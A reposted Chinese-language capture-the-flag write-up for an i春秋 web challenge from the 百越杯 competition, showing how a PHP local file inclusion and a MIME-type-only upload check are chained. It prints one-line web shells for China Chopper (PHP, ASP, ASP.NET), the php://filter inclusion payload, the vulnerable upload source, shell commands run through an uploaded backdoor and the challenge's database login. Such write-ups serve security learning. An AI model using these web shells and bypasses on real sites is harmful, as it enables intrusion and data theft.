CTF-i春秋-Web-文件包含漏洞、文件上傳漏洞-Do you know upload?-第三屆“百越杯”福建省高校網絡空間安全大賽


2020.09.21

經驗教訓

  1. 文件包含漏洞,想到php://inputphp://filter/read=convert.base64-encode/resource=index.php
  2. 中國菜刀支持的一句話
<?php @eval($_POST['pass']);?>
ASP:    <%eval request("pass")%> 
ASP.NET:    <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

Do you know upload?

https://www.ichunqiu.com/battalion

  1. 打開鏈接,查看源碼,發現提示消息,看起來是文件包含漏洞,想到php://inputphp://filter/read=convert.base64-encode/resource=index.php
  2. 構造payload,查看index.php源碼,
  3. base64解碼后如下,只貼php部分
<?php

include($_GET['file']); 
@$pic = $_FILES["file"]["name"];
@$pics = explode('.' , $pic);

if(@isset($_POST[submit])){
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/pjpeg"))){

        if ($_FILES["file"]["error"] > 0){
            echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }else{
            echo "Upload: " . $_FILES["file"]["name"] . "<br />";
            echo "Type: " . $_FILES["file"]["type"] . "<br />";
            echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
            //echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
            if (file_exists("upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " already exists. ";
            }else{
                move_uploaded_file($_FILES["file"]["tmp_name"],
                    "upload/" . $_FILES["file"]["name"]);
                echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
            }
        }
    }else{
        echo "<script>alert('文件類型不允許')</script>";
        echo "Invalid file";
    }
}else{
    // echo "Invalid file";
}
?>
  1. 以我的分析,他只是過濾了文件type,這個應該通過修改content-type就能改,試試
  2. 果然,只修改了一個參數就成功上傳了

  3. 我們嘗試訪問上傳的php文件
    • upload/decry.php?qwk=whoami,訪問成功

      -upload/decry.php?qwk=ls ../,發現config.php
    • upload/decry.php?qwk=cat ../config.php,想看看有啥內容,竟然是空白的,這里不給看,但是爺有的是辦法,用之前的文件包含漏洞🤓
    • ?file=php://filter/read=convert.base64-encode/resource=config.php,成功得到內容,轉碼后如下,看桑去我們的到來數據庫的密碼,該怎么利用呢
<?php
error_reporting(0);
session_start();
$servername = "localhost";
$username = "ctf";
$password = "ctfctfctf";
$database = "ctf";

// 創建連接
$conn = mysql_connect($servername,$username,$password) or die(" connect to mysql error");
mysql_select_db($database);
?>
  - 不知道怎么來操作數據庫,本來想用中國菜刀,但是不知道為啥,菜刀一直連不上,那只能想點別的辦法了,
  - 原來是這樣,菜刀支持的一句話是這樣的`<?php @eval($_POST('qwk')); ?>`,我多加了一個echo……
  - 根據之前得到的config文件內容配置菜刀
<T>MYSQL</T>
<H>localhost</H>
<U>ctf</U>
<P>ctfctfctf</P>
  - 配置成功了但是數據庫里啥也沒有,難不成被人刪除了???


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM